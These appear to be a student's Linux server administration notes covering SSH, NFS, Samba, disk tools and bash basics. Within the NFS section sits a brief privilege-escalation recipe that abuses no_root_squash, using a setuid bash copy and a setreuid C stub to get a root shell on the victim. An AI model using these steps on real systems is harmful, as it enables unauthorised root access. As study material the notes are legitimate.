# Linux Server ###### `linux` `server` [TOC] [NFS+SMB in cloud Envrioment](/7JRElBuKRxOmAEbfVpPkJA) ###### `linux` # 9/12 ## Modify the host name ``` ubuntu@ip-172-31-5-149:~$ sudo -s root@ip-172-31-5-149:/home/ubuntu# hostname ip-172-31-5-149 root@ip-172-31-5-149:/home/ubuntu# hostnamectl set-hostname ip-54-252-53-102 root@ip-172-31-5-149:/home/ubuntu# bash root@ip-54-252-53-102:/home/ubuntu# ``` ![](https://hackmd.io/_uploads/S1HYmtaC3.png) ## Display a list of installed packages Redhat/centos ``` rpm -qa rpm -qa | grep ssh ``` Ubuntu: ``` ┌──(root㉿kali)-[/home/kali] └─# dpkg --get-selections | grep ssh libssh-4:amd64 install libssh-gcrypt-4:amd64 install libssh2-1:amd64 install openssh-client install openssh-server install openssh-sftp-server install ``` --- ## System Service Management ![](https://hackmd.io/_uploads/S1l9KFTAn.png) ### flags - status - start - stop - restart - reload Daemon means service Loaded:(Enable) Enabling this option means that if the host reboots, the service will restart ``` systemctl enable "service" sytstmctl disable "service" ``` Constant IP configuration ![](https://hackmd.io/_uploads/BJGWhtT03.png) ![](https://hackmd.io/_uploads/S1m1pKaRh.png) ## Configure DNS on localhost The `/etc/hosts` file is used to configure the DNS server on a local system It contain mapping of hostnames to the ip address ![](https://hackmd.io/_uploads/rklp83Ik6.png) ## SSH Connection ![](https://hackmd.io/_uploads/S1QXG96C3.png) # 9/19 Linux Note ## Terminal operations ctrl + E ctrl + A ![](https://hackmd.io/_uploads/BJxXt28Ja.png) ![](https://hackmd.io/_uploads/SJ4KFhI1p.png) ## Troubleshooting SSH ### Check if server is running ``` root@meowhecker:/home/ubuntu#systemctl status sshd ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled) Drop-In: /usr/lib/systemd/system/ssh.service.d └─ec2-instance-connect.conf Active: active (running) since Tue 2023-09-19 05:41:17 UTC; 28min ago ``` ### Check Server Port ``` root@meowhecker:/home/ubuntu# netstat -tulnp | grep -i ssh tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 568/sshd: /usr/sbin tcp6 0 0 :::22 :::* LISTEN 568/sshd: /usr/sbin ``` ### Check firewall ``` apt install ufw ┌──(root㉿kali)-[/home/kali] └─# ufw status Status: inactive ``` ### Check Linux Security ``` root@meowhecker:/home/ubuntu# getenforce Disabled ``` /etc/selinux/config ![圖片.png](https://hackmd.io/_uploads/BJ9V7l8Q6.png) # SSH key Management ## Passwordless logins ### Generate SSH key pair ``` ssh-keygen -t rsa ``` Generate public key and private key ``` [root@meowhecker1 user]# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Created directory '/root/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:cfRn6BNWlnA8o4yADcVVjql1lUJeP1TNFfVQ+I9XvD8 root@meowhecker1 The key's randomart image is: +---[RSA 2048]----+ | .*..oo+oBO@| | . +. *.BOo+| | ..=oOoo*o| | =.+o+ =| | S o .+| | ...o| | ..| | E.| | .| +----[SHA256]-----+ ``` ### Copy public key to remote Server ``` ssh-copy-id ``` the command is used to add the your ssh public key to the list of authentication key on the remote server. `ssh-copy-id` command, you can copy your SSH public key to the `~/.ssh/authorized_keys` file on the remote host, Basic Syntax ``` ssh-copy-id [-i [identity_file]] [user@]hostname ``` Client(NO password login) ``` [root@meowhecker1 .ssh]# ssh-copy-id -i id_rsa.pub root@meowhecker2 /bin/ssh-copy-id: INFO: Source of key(s) to be installed: "id_rsa.pub" /bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys root@meowhecker2's password: Number of key(s) added: 1 Now try logging into the machine, with: "ssh 'root@meowhecker2'" and check to make sure that only the key(s) you wanted were added. ``` First, you need to log in with the user password --- Server(adding public key from Client(trust) to ~.ssh/authorized_keys) ``` [root@meowhecker2 user]# cd /root/.ssh/ [root@meowhecker2 .ssh]# ls authorized_keys ``` --- ``` [root@meowhecker1 user]# ssh root@meowhecker2 Last login: Tue Sep 19 21:22:22 2023 from 192.168.203.134 [root@meowhecker2 ~]# ``` --- ## SSH Configuration FIle the ssh configuration file often located ad /etc/ssh/sshd_config ### Port This setting allows us to specify the port on which the SSH server listens for incoming connections ![](https://hackmd.io/_uploads/HJVamCIJ6.png) ### PermitRootLogin Determine whether root user loin via shh is allow? ### PasswordAuthentication Determine whether password-base authentication is allow? ### AllowUsers/AllowGroups Provide user and group access control ### PubkeyAuthentication Restricts authentication to the use of public keys. ### HostKey Specifies the server's host key files, which are used for encryption and secure key exchange. ![](https://hackmd.io/_uploads/rJR_h6wy6.png) # SCP(Security Copy Protocol) This protocol use to send the file and directors between the local and remote server over the SSH ## Basic Syntax: ``` scp testfile user@host1:/tmp ``` ![](https://hackmd.io/_uploads/SyfMyRDyp.png) ## Recursive-Copy Send the folder to remote server Basic Syntax: ``` scp -r testdir/ user@host1:/tmp ``` ![](https://hackmd.io/_uploads/rkq-xRvya.png) ### Specifying ssh identify File ``` scp -i /path/to/private-key file.txt user@hostname:/path/to/destination/ ``` ### Copy form a Remote Host to local To copy a file from a remote host to the local system: ``` scp user@hostname:/path/to/file.txt /local/destination/ ``` ### Using proxy or Jump host When using a proxy or jump host to reach the target host: ``` scp -J jumpuser@jumphost user@target:/path/to/file.txt /local/destination/ ``` # Running a web server(httpd) To check if the Apache HTTP server (httpd) is installed,(CentOS) checks for the presence of the `httpd` package. ``` rpm -qa | grep httpd ``` ``` systemctl start httpd ``` To verify that the HTTP service is running and listening on port 80 ``` netstat -tunlp | grep httpd ``` Running the http service on port 80 ![](https://hackmd.io/_uploads/HyCwlglea.png) Saving the Word.htm and word file to /var/www/html folder ![](https://hackmd.io/_uploads/ryalPegxT.png) --- # Expose a local host to the public internet! Lin聖軒(Author) ![圖片.png](https://hackmd.io/_uploads/B1lFpx8Q6.png) https://dashboard.ngrok.com/get-started/setup NFROK can let outside machine directly connect to private network machine. Private Machine ## Download ngrok Client ``` [root@meowhecker1 user]# wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz ``` ## Extract the Archive ``` [root@meowhecker1 user]# tar zxvf ngrok-v3-stable-linux-amd64.tgz ``` ## Add Authentication Token ![圖片.png](https://hackmd.io/_uploads/r153ClUXp.png) ``` [root@meowhecker1 user]# ngrok config add-authtoken 2VvJIgUaQZMeowMeowo5ZJnTvY3nY ``` ``` [root@meowhecker1 user]# ngrok http 80 ``` ![](https://hackmd.io/_uploads/SyHc--ll6.png) # Yum (Packet Management) It is used to install, update, remove, and search for software packages Third-part Repositories: Extra Packages for Enterprise Linux ``` epel-release ``` ![](https://hackmd.io/_uploads/S1iUHbxep.png) https://www.cnblogs.com/yaoyaojcy/p/17139639.html ![](https://hackmd.io/_uploads/rkNhH-elp.png) To Check the library whether is complete ? Next ![](https://hackmd.io/_uploads/SyM0oWgl6.png) Interactive Process viewer ## top The `top` command provides real-time information about system performance ![](https://hackmd.io/_uploads/rJB85-lla.png) ## htop ### Download `htop` Package ``` wget https://src.fedoraproject.org/lookaside/extras/htop/htop-2.2.0.tar.gz/sha512/ec1335bf0e3e0387e5e50acbc508d0effad19c4bc1ac312419dc97b82901f4819600d6f87a91668f39d429536d17304d4b14634426a06bec2ecd09df24adc62e/htop-2.2.0.tar.gz ``` ### Extract the Package ``` tar xzvf htop-2.2.0.tar.gz ``` ### Compile the software ``` ./configure make make install ``` ### Run htop binary file ``` htop ``` ![](https://hackmd.io/_uploads/BkTj2-eeT.png) # du (Disk usage) Shows the disk usage of all files and directories in the current directory ``` du ``` ![](https://hackmd.io/_uploads/BJq_xMlxT.png) Shows the total disk space used by the specified directory (in this case ![](https://hackmd.io/_uploads/HydeZMggp.png) Displays the disk usage of the top-level directories in the `/home` directory ``` du -h --max-depth=1 /home ``` ![](https://hackmd.io/_uploads/B1_3Zflxa.png) ## df (Disk free) Displays - disk space usage - mounted location - each partition. ``` df -h ``` ![](https://hackmd.io/_uploads/Sk_YzMgep.png) ``` ┌──(root㉿kali)-[/home/kali] └─# df -h | grep /$ /dev/sda1 79G 15G 60G 20% / ``` ![圖片.png](https://hackmd.io/_uploads/H1xPpWLma.png) ``` ┌──(root㉿kali)-[/home/kali] └─# df -h | grep /$ | awk '{print $5}' 20% ``` ``` [root@meowhecker1 htop-2.2.0]# df -h | grep /$ | awk '{print $5}' | tr "%" " " 80 ``` ![](https://hackmd.io/_uploads/BkJtXfeea.png) ``` [root@meowhecker1 htop-2.2.0]# meow=$(df -h | grep /$ | awk '{print $5}' | tr "%" " ") [root@meowhecker1 htop-2.2.0]# echo $meow 80 ``` --- # NFS (Network file system) ## Escape Privilege (no_root_squash no_all_squash Misconfiguration) ### RPC protocol ![圖片.png](https://hackmd.io/_uploads/BkmeNr8Xp.png) ### File Access Permission ![圖片.png](https://hackmd.io/_uploads/r1Fo7rL7p.png) ### Remote Exploit Our Machine(Running as root user) ``` mkdir /tmp/pe mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe cd /tmp/pe cp /bin/bash . chmod +s bash ``` #Victim ``` cd <SHAREDD_FOLDER> ./bash -p #ROOT shell ``` ### Local Exploiting no\_root\_squash ```c int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` ``` [w3user@machine libnfs]$ /mnt/share/a.out [root@machine libnfs]# ``` It allow use Escape Privilege on the victim host ## Server-Side Configuration ### Installed ``` sudo yum install nfs-utils ``` ### Enable `rpcbind` and NFS services ``` sudo systemctl enable rpcbind sudo systemctl enable nfs ``` ### Edit the export configuration file ``` sudo vim /etc/exports /data/ 192.168.139.0/24(rw,sync,no_root_squash,no_all_squash) ``` - `/data/` is the shared directory. - `192.168.68.0/24` represents the IP range of the clients. - `rw` grants read and write permissions. - `sync` ensures synchronous directory updates. - `no_root_squash` allows root user access. - `no_all_squash` enables access for regular users. ``` [root@meowhecker1 /]# mkdir nfsServerDir -p ``` ``` [root@meowhecker1 /]# systemctl start nfs [root@meowhecker1 /]# chmod 775 nfsServerDir/ [root@meowhecker1 /]# vim /etc/exports [root@meowhecker1 /]# systemctl restart nfs [root@meowhecker1 /]# showmount -e localhost Export list for localhost: /nfsServerDir 192.168.203.0/24 [root@meowhecker1 /]# cd nfsServerDir/ [root@meowhecker1 nfsServerDir]# ls meowhecker.txt ``` ## Client-Side Configuration ``` [root@meowhecker2 /]# sudo yum install nfs-utils ``` ### Enable `rpcbind` and NFS services ``` sudo systemctl enable rpcbind sudo systemctl enable nfs ``` ### Check the shared directories on the server ``` showmount -e server_ip ``` ### Create a directory on the client to mount the shared content ``` [root@meowhecker2 /]# mkdir nsfClientDir -p [root@meowhecker2 /]# sudo mkdir /nsfClientDir [root@meowhecker2 /]# sudo chmod 755 /nsfClientDir ``` ### Mount the NFS share on the client: ``` mount -t nfs server_ip:/data /nfs-data ``` --- # dd(Data Dump ) ``` dd if=/dev/zero of=file3m bs=1M count=3 ``` dd if=/dev/zero of=file10m bs=1m count=10 if -> input file /dev/zero of -> output file /target file bs -> block size 1-MB ``` [user@meowhecker1 ~]$ ls -la file100M -h -rw-rw-r-- 1 user user 100M Oct 3 02:49 file100M ``` # WC (word count) ``` [root@meowhecker1 /]# cat -n meowhecker 1 meowhecker 2 3 meowmeow 4 5 meowtest123 6 7 meowwoem [root@meowhecker1 /]# wc meowhecker 7 4 44 meowhecker ``` ``` [root@meowhecker1 /]# wc -l meowhecker 7 meowhecker [root@meowhecker1 /]# wc -w meowhecker 4 meowhecker ``` - `-l`: Display only the line count. - `-c`: Display only the character count. - `-w`: Display only the word count. ![](https://hackmd.io/_uploads/rkVh34YeT.png) ``` [root@meowhecker1 /]# cat meowhecker | wc -l 7 ``` ### tr (translate or Delete character) ``` ser@meowhecker1 ~]$ echo "ABCD" | tr [:upper:] [:lower:] abcd ``` ``` [user@meowhecker1 ~]$ echo "HELLO WORLD" | tr 'A-Z' 'a-z' hello world ``` ``` [user@meowhecker1 ~]$ echo "HELLO WORLD12345" | tr -d 'A-Za-z' 12345 ``` ``` [user@meowhecker1 ~]$ echo "thisssss" | tr -s "s" this ``` --- ``` [user@meowhecker1 ~]$ echo "thisssss a n me owhecker" | tr -s "s " this a n me owhecker ``` Crypt (tr) ``` 567 [user@meowhecker1 ~]$ echo "12345" | tr '[0-9]' '9876543210' 76543 ``` --- ``` tr -s "\n\r" "," ``` # seq(Sequence Generator) ``` [user@meowhecker1 ~]$ seq 1 1 10 1 2 3 4 5 6 7 8 9 10 ``` # bc(Basic calculation) ``` [user@meowhecker1 ~]$ seq -s "+" 1 10 | bc 55 ``` ``` [user@meowhecker1 ~]$ echo "1+5*2" | bc 11 ``` ``` [user@meowhecker1 ~]$ seq -w 1 12 01 02 03 04 05 06 07 08 09 10 11 12 ``` --- # SMB 2023/10/17 https://josephjsf2.github.io/linux/2019/11/01/share_centos_folder_with_windows.html Samba server on a Linux machine, enabling file sharing with Windows clients ## Install Samba ``` [ec2-user@ip-172-31-20-88 ~]$ sudo -s [root@ip-172-31-20-88 ec2-user]# yum install samba samba-client samba-common -y ``` ## Create a Shaer Directory ``` [root@ip-172-31-20-88 ec2-user]# mkdir sambaDir [root@ip-172-31-20-88 ec2-user]# ls sambaDir [root@ip-172-31-20-88 ec2-user]# chown nobody sambaDir/ [root@ip-172-31-20-88 ec2-user]# ls sambaDir ``` ## Edit the Samba Configuration File ``` [root@ip-172-31-20-88 ec2-user]# vim /etc/samba/smb.conf [root@ip-172-31-20-88 ec2-user]# pwd /home/ec2-user ``` ``` [root@ip-172-31-20-88 ec2-user]# testparm Load smb config files from /etc/samba/smb.conf Loaded services file OK. Weak crypto is allowed by GnuTLS (e.g. NTLM as a compatibility fallback) Server role: ROLE_STANDALONE Press enter to see a dump of your service definitions ``` ## Add Configuration Settings ``` [meow] comment = share /sambaDirTOwindows guest ok = Yes path = /sambadir read only = No ``` Verify the Samba configuration settings using the `testparm` command. ``` [root@ip-172-31-20-88 ec2-user]# systemctl restart smb ``` Port:445 139 ``` [root@ip-172-31-20-88 ec2-user]# smbpasswd -a ec2-user New SMB password: Retype new SMB password: Added user ec2-user. ``` ![](https://hackmd.io/_uploads/r1_jl2sWp.png) we can disconnect any existing connections by running `net use * /delete` in the Windows command prompt # Sort - `sort` command is used to sort lines of text in a file. - By default, it sorts alphabetically based on ASCII codes. sort -r ![](https://hackmd.io/_uploads/ByvL-hobT.png) ![](https://hackmd.io/_uploads/Bys8m3iWa.png) ## Numeric Sorting ![](https://hackmd.io/_uploads/HyYDQhi-6.png) ## Reverse Sorting ![](https://hackmd.io/_uploads/SkWOmnoZT.png) ## Sorting by a Specific Column ![](https://hackmd.io/_uploads/rJq_Q3jb6.png) ## Sorting with a Custom Field Separator ![](https://hackmd.io/_uploads/H1y043oZa.png) ## cut Cut command use to extracted the section from line of files ### Extract Multiple Fields ![](https://hackmd.io/_uploads/Sy0To3sWT.png) ![](https://hackmd.io/_uploads/Sk48hnoWa.png) ### Simple String Slicing ![](https://hackmd.io/_uploads/B19JA3i-6.png) ### Generate Random Number ![](https://hackmd.io/_uploads/rkD5AniZp.png) # split (split the file) ## Split File ``` [ec2-user@ip-172-31-20-88 ~]$ dd if=/dev/zero of=file4 bs=1M count=3 3+0 records in 3+0 records out 3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.00242657 s, 1.3 GB/s ``` ``` [ec2-user@ip-172-31-20-88 ~]$ split -b 1m file4 [ec2-user@ip-172-31-20-88 ~]$ ls file3 file4 sambaDir str test test1 xaa xab xac ``` ![](https://hackmd.io/_uploads/rkK-xTsba.png) # Merge file with cat command ``` cat hello1 hello2 hello3 > hello4 ``` ## diff(Compare different part) ![](https://hackmd.io/_uploads/S1mebTjZp.png) # Mail (Sending an Email with `mail`) ``` mail -s "test_mail" s111010550@student.nqu.edu.tw ``` # IPv6 web service (Public) To set up a web server using IPv6 AWS IPv6 https://dynv6.com/users/edit 建立CIDR <-->與VPC 關聯 ![](https://hackmd.io/_uploads/rkpMRRVfp.png) # Assign IPv6 Addresses ![](https://hackmd.io/_uploads/SkHHRANGp.png) ![](https://hackmd.io/_uploads/rkBPRREMa.png) ![](https://hackmd.io/_uploads/S1FyykHGT.png) ![](https://hackmd.io/_uploads/S1xsPsyBfT.png) ## Adding route ![](https://hackmd.io/_uploads/r1Qkr1Sza.png) --- ## Wifi-interface ![](https://hackmd.io/_uploads/r1HHcRNfp.png) ![](https://hackmd.io/_uploads/HyVqc04fa.png) ![](https://hackmd.io/_uploads/SkaNiREza.png) ![](https://hackmd.io/_uploads/HyirwJBzp.png) ## DNS Configuration https://dynv6.com/ ![](https://hackmd.io/_uploads/BkapFyHG6.png) Dynamic IPv6 https://dynv6.com/users/edit # 12 - Script ``` [ec2-user@ip-10-10-0-36 ~]$ meow=10 [ec2-user@ip-10-10-0-36 ~]$ echo $meow 10 ``` # Alias simplifying command usage ``` [ec2-user@ip-10-10-0-36 ~]$ alias alias egrep='egrep --color=auto' alias fgrep='fgrep --color=auto' alias grep='grep --color=auto' alias l.='ls -d .* --color=auto' alias ll='ls -l --color=auto' alias ls='ls --color=auto' alias xzegrep='xzegrep --color=auto' alias xzfgrep='xzfgrep --color=auto' alias xzgrep='xzgrep --color=auto' alias zegrep='zegrep --color=auto' alias zfgrep='zfgrep --color=auto' alias zgrep='zgrep --color=auto' ``` ## '\command' removes the 'command' alias ``` \command [flag/paramenter] ``` ``` [ec2-user@ip-10-10-0-36 ~]$ \cp meowa meowb ``` ![](https://hackmd.io/_uploads/HkgamyeSM6.png) ## Adding a new alias ``` [ec2-user@ip-10-10-0-36 ~]$ alias showlist="ls -la" [ec2-user@ip-10-10-0-36 ~]$ showlist total 16 drwx------. 3 ec2-user ec2-user 121 Oct 24 07:14 . drwxr-xr-x. 3 root root 22 Oct 24 06:40 .. -rw-------. 1 ec2-user ec2-user 60 Oct 24 06:51 .bash_history -rw-r--r--. 1 ec2-user ec2-user 18 Jan 28 2023 .bash_logout -rw-r--r--. 1 ec2-user ec2-user 141 Jan 28 2023 .bash_profile -rw-r--r--. 1 ec2-user ec2-user 492 Jan 28 2023 .bashrc drwx------. 2 ec2-user ec2-user 29 Oct 24 06:40 .ssh -rw-r--r--. 1 ec2-user ec2-user 0 Oct 24 07:14 meowa -rw-r--r--. 1 ec2-user ec2-user 0 Oct 24 07:14 meowb ``` ## Valid for the current shell session Show Current terminal process ID ``` [ec2-user@ip-10-10-0-36 ~]$ echo $$ 29512 [ec2-user@ip-10-10-0-36 ~]$ bash [ec2-user@ip-10-10-0-36 ~]$ echo $$ 29728 [ec2-user@ip-10-10-0-36 ~]$ exit exit [ec2-user@ip-10-10-0-36 ~]$ echo $$ 29512 ``` ## Environment configuration ### Add / Delete alias command (.bashrc file ) ![](https://hackmd.io/_uploads/ry1JzlBzp.png) ![](https://hackmd.io/_uploads/rk1-MxHMa.png) ```bash source .bashrc . .bashrc ``` ### System-wide Setting ``` vim /etc/profile ``` ![](https://hackmd.io/_uploads/ryYX8xSfp.png) ![](https://hackmd.io/_uploads/SJNv8gSGT.png) ### Delete ALias ``` unalias meow ``` # echo ## Single quotes prevent variable substitution ``` [ec2-user@ip-10-10-0-36 ~]$ meowA=10 [ec2-user@ip-10-10-0-36 ~]$ echo "meow $meowA" meow 10 [ec2-user@ip-10-10-0-36 ~]$ echo 'meow $meowA' meow $meowA ``` -e options Special characters can be printed as well using '-e' ``` [ec2-user@ip-10-10-0-36 ~]$ echo -e "meow\nhecker" meow hecker ``` # Variables ## $HOME ``` [ec2-user@ip-10-10-0-36 ~]$ echo $HOME /home/ec2-user ``` ## $PATH ``` [ec2-user@ip-10-10-0-36 ~]$ echo $PATH /home/ec2-user/.local/bin:/home/ec2-user/bin:/root/.local/bin:/root/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/var/lib/snapd/snap/bin ``` setting $PATH Directories where executable files are located Search the path for executable files. ``` [ec2-user@ip-10-10-0-36 ~]$ mkdir bin [ec2-user@ip-10-10-0-36 ~]$ cd bin/ [ec2-user@ip-10-10-0-36 bin]$ echo "ls -la" > list.sh vim .bashrc export PATH=/home/ec2-user/bin:$PATH ``` ``` [root@ip-10-10-0-36 bin]# export PATH=/home/ec2-user/bin:$PATH [root@ip-10-10-0-36 bin]# chmod +x list.sh [root@ip-10-10-0-36 bin]# list.sh total 4 drwxrwxr-x. 2 ec2-user ec2-user 21 Oct 24 08:08 . drwx------. 4 ec2-user ec2-user 164 Oct 24 08:07 .. -rwxrwxr-x. 1 ec2-user ec2-user 7 Oct 24 08:07 list.sh ``` $USER ``` [ec2-user@ip-10-10-0-36 ~]$ echo $USER ec2-user [ec2-user@ip-10-10-0-36 ~]$ echo $UID 1000 ``` ``` [root@ip-10-10-0-36 bin]# [[ $USER == "root" ]]&&echo 1||echo 0 1 ``` ![](https://hackmd.io/_uploads/rJLdRlrG6.png) $IFS -> display separate character --- 10/31 Echo ``` [ec2-user@ip-10-10-0-30 ~]$ echo $RANDOM 16049 ``` ``` [ec2-user@ip-10-10-0-30 ~]$ echo $RANDOM | md5sum | cut -c 1-8 134c82a0 ``` History ``` [ec2-user@ip-10-10-0-30 ~]$ ! history 1 cd /tmp 2 sudo -s 3 showmount -e 10.10.1.19 4 yum install samba samba-client samba-common -y 5 sudo -s 6 ls 7 mkdir -p /mnt/nfs-share 8 sudo -s 9 ls 10 mkdir windowShare 11 chmod nobody windowShare/ 12 sudo -s 13 ls 14 ping 8.8.8.8 15 ssh -i meowheckerKey2.pem ec2-user@10.10.1.19 16 ls 17 sudo -s 18 ls 19 ssh -i meowheckerKey2.pem ec2-user@10.10.1.19 20 ssh -i meowheckerKey2.pem ec2-user@10.10.1.148 21 ssh -i meowheckerKey2.pem ubuntu@10.10.1.148 22 sudo -s 23 sudo -s 24 ping 10.10.01.125 25 ping 10.10.0.125 26 ping -6 2001:b400:e785:5b37:20c:29ff:fea3:f136 27 echo $RANDOM 28 echo $RANDOM | md5sum | cut 1-8 29 echo $RANDOM | md5sum | cut -c 1-8 30 ! ``` ## env ``` [ec2-user@ip-10-10-0-30 ~]$ env SHELL=/bin/bash HISTCONTROL=ignoredups SYSTEMD_COLORS=false HISTSIZE=1000 HOSTNAME=ip-10-10-0-30.ec2.internal PWD=/home/ec2-user LOGNAME=ec2-user XDG_SESSION_TYPE=tty MOTD_SHOWN=pam HOME=/home/ec2-user LANG=C.UTF-8 LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.m4a=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.oga=01;36:*.opus=01;36:*.spx=01;36:*.xspf=01;36: SSH_CONNECTION=118.163.251.115 63939 10.10.0.30 22 XDG_SESSION_CLASS=user SELINUX_ROLE_REQUESTED= TERM=xterm LESSOPEN=||/usr/bin/lesspipe.sh %s USER=ec2-user SELINUX_USE_CURRENT_RANGE= SHLVL=1 XDG_SESSION_ID=1 XDG_RUNTIME_DIR=/run/user/1000 S_COLORS=auto SSH_CLIENT=118.163.251.115 63939 22 which_declare=declare -f PATH=/home/ec2-user/.local/bin:/home/ec2-user/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin SELINUX_LEVEL_REQUESTED= DBUS_SESSION_BUS_A RESS=unix:path=/run/user/1000/bus MAIL=/var/spool/mail/ec2-user SSH_TTY=/dev/pts/0 BASH_FUNC_which%%=() { ( alias; eval ${which_declare} ) | /usr/bin/which --tty-only --read-alias --read-functions --show-tilde --show-dot "$@" } _=/usr/bin/env ``` ## Echo ``` [ec2-user@ip-10-10-0-30 ~]$ _meow="meow" [ec2-user@ip-10-10-0-30 ~]$ echo $_meow meow ``` ``` [ec2-user@ip-10-10-0-30 ~]$ echo $(echo meow)hecker meowhecker ``` ``` [ec2-user@ip-10-10-0-30 ~]$ echo ${_meow}hecker meowhecker ``` ``` [ec2-user@ip-10-10-0-30 ~]$ echo "${_meow}hecker" meowhecker [ec2-user@ip-10-10-0-30 ~]$ echo '${_meow}hecker' ${_meow}hecker ``` # read The `read` command allows us to read input from the user and store it in a variable ``` [ec2-user@ip-10-10-0-30 ~]$ read -p "input:number" number input:number66 [ec2-user@ip-10-10-0-30 ~]$ echo $number 66 ``` ## Exists Status The exit status indicates whether a command executed successfully or encountered an error A successful command returns an exit status of `0`, while an unsuccessful one returns a non-zero status. ![](https://hackmd.io/_uploads/HJXwqM0fa.png) ## Compare Expression test and [] Compare operation ``` test [] [[ ]] ``` File String Number ### test ``` meow.txt meowheckerKey2.pem mnt mount windowShare [ec2-user@ip-10-10-0-30 ~]$ test -d meow.txt [ec2-user@ip-10-10-0-30 ~]$ test -d meow.txt && echo 1 || echo 0 0 [ec2-user@ip-10-10-0-30 ~]$ test -d mount && echo 1 || echo 0 1 ``` ``` [ec2-user@ip-10-10-0-30 ~]$ ls $(echo /tmp) -la total 0 drwxrwxrwt. 12 root root 240 Oct 31 06:22 . dr-xr-xr-x. 19 root root 252 Oct 22 00:23 .. drwxrwxrwt. 2 root root 40 Oct 31 05:44 .ICE-unix drwxrwxrwt. 2 root root 40 Oct 31 05:44 .X11-unix drwxrwxrwt. 2 root root 40 Oct 31 05:44 .XIM-unix drwxrwxrwt. 2 root root 40 Oct 31 05:44 .font-unix ``` -e ->exists -s -> whether specify file is empty or not ![](https://hackmd.io/_uploads/BJNUZQCz6.png) ### -z ``` [ec2-user@ip-10-10-0-30 ~]$ str1="" [ec2-user@ip-10-10-0-30 ~]$ test -z $str1 && echo 1 || echo 0 1 [ec2-user@ip-10-10-0-30 ~]$ str2="meow" [ec2-user@ip-10-10-0-30 ~]$ test -z $str2 && echo 1 || echo 0 0 ``` ### Compare String ``` [ec2-user@ip-10-10-0-30 ~]$ meow1=meow [ec2-user@ip-10-10-0-30 ~]$ meow2=meow [ec2-user@ip-10-10-0-30 ~]$ test $meow1 = $meow2 && echo 1 || echo 0 1 [ec2-user@ip-10-10-0-30 ~]$ meow2=meowhecker [ec2-user@ip-10-10-0-30 ~]$ test $meow1 = $meow2 && echo 1 || echo 0 0 ``` ![](https://hackmd.io/_uploads/ry6rVXAzT.png) ![](https://hackmd.io/_uploads/BJwPV7AGT.png) ![](https://hackmd.io/_uploads/By1u4X0Gp.png) ``` [ec2-user@ip-10-10-0-30 ~]$ a=10 [ec2-user@ip-10-10-0-30 ~]$ b=10 [ec2-user@ip-10-10-0-30 ~]$ test $a -eq $b && echo 1 || echo 0 1 [ec2-user@ip-10-10-0-30 ~]$ b=20 [ec2-user@ip-10-10-0-30 ~]$ test $a -eq $b && echo 1 || echo 0 0 ``` ``` read -p "input:number" number1 read -p "input:number" number2 test $number1 -eq $number2 && echo "=" || echo 0 test $number1 -gt $number2 && echo ">" || echo 0 test $number1 -lt $number2 && echo "<" || echo 0 ``` Calculator: ``` read -p "input:number" number1 read -p "input:number" number2 sum=$((number1 + number2)) echo "+: $sum" difference=$((number1 - number2)) echo "-: $difference" product=$((number1 * number2)) echo "*: $product" division=$(($number1/$number2)) echo "/: $division" ``` ![](https://hackmd.io/_uploads/B1_FjmCfp.png) Script variable ``` echo $1 echo $2 echo $3 echo $# ``` ![](https://hackmd.io/_uploads/Hyw8mERza.png) ![](https://hackmd.io/_uploads/rJYZVNCf6.png) ![](https://hackmd.io/_uploads/r1F0S4Rfa.png) 